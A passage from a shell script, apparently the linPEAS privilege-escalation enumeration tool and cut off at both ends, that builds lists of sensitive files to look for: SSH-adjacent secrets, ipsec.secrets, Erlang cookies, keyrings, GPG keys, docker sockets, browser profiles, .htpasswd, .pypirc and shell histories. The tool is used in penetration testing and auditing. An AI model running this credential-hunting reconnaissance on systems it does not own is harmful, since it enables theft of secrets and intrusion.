"$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "couchdb$" | sort | uniq | head -n 70) + PSTORAGE_REDIS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "redis\.conf$" | sort | uniq | head -n 70) + PSTORAGE_MOSQUITTO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) + PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "neo4j$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_ERLANG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) + PSTORAGE_GMV_AUTH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IPSEC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.irssi$" | sort | uniq | head -n 70) + PSTORAGE_KEYRING=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) + PSTORAGE_FILEZILLA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70) + PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) + PSTORAGE_SPLUNK=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "passwd$" | sort | uniq | head -n 70) + PSTORAGE_GITLAB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/lib' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) + PSTORAGE_PGP_GPG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'README.gnupg' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) + PSTORAGE_CACHE_VI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) + PSTORAGE_DOCKER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$|dockershim\.sock$|containerd\.sock$|crio\.sock$|frakti\.sock$|rktlet\.sock$" | sort | uniq | head -n 70) + PSTORAGE_FIREFOX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70) + PSTORAGE_CHROME=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70) + PSTORAGE_OPERA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70) + PSTORAGE_SAFARI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70) + PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) + PSTORAGE_FASTCGI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) + PSTORAGE_SNMP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_PYPIRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.pypirc$" | sort | uniq | head -n 70) + PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "postfix$" | sort | uniq | head -n 70) + PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) + PSTORAGE_HISTORY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*_history.*$" | sort | uniq | head -n 70) + PSTORAGE_HTTP_CONF=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_HTPASSWD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) + PSTORAGE_LDAPRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) + PSTORAGE_ENV=$(echo -e 